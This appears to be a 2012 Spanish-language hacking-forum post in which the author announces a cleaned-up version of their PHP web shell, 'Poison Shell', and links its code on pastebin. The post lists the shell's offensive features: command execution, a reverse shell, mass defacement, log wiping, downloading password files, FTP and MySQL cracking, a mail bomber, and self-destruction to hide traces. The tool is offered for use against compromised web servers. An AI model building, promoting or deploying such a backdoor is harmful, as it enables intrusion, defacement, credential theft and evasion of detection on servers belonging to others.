280  Seguridad Informática / Nivel Web / [PHP Shell] Poison Shell 1.0 (Version Identada) en: 9 Octubre 2012, 04:01 am
Bue , no toleraba ver el codigo de mi poisonshell sin identar asi que idente el codigo y le arregle otros errores pero ninguna opcion nueva que comentar xDDD.

Las opciones desde siempre.

-- == Funciones == --

  • Informacion : sobre el servidor web
  • Navegacion de archivos y directorios :

* En esta opcion pueden editar , borrar ,renombrar y descargar archivos
* Tambien podes crear directorios nuevos

  • Ejecutar comandos
  • Subir archivos a un directorio especifico
  • Base64 encode() decode()
  • Ejecutar codigo php con eval()
  • Cargar phpinfo()
  • Crackear hash md5 con salto o sin salto
  • BackShell : en esta version solo esta un reverse shell en perl hecho por mi
  • MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan
  • CleanLogs : limpia logs de linux
  • Deteccion de archivo /etc/passwd o SAM para descargar
  • Cracker para FTP Y Mysql
  • PortScanner
  • MailBomber para varios emails
  • Posibilidad de buscar kernel en DB Exploit
  • ProxyWeb
  • Encode para md5,sha1,crc32
  • FTP

* Crear directorios nuevos
* Este cliente FTP permite navegar a traves de los directorios y archivos
* Borrar archivos
* Cambiar permisos de archivos
* Descargar archivos

  • SQL Manager

* Podes navegar a traves de la base datos podiendo ver todas
las bases de datos y tablas activas
* Ejecutar sentencias SQL
* Descargar tablas
* Descargar bases de datos

  • Cookies Manager

* En esta opcion podemos ver todos los cookies activos
* Podemos crear un cookie con el valor que queremos

  • Session Manager

* En esta opcion podemos ver todas las sesiones activas
* Podemos crear una sesion con el valor que queremos

  • Shell Protegida con user y pass
  • Autodestruccion de la shell

-- == --

El codigo esta aca

Código:
http://pastebin.com/N03AJbm3

Una imagen

Páginas: 1 ... 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [28] 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines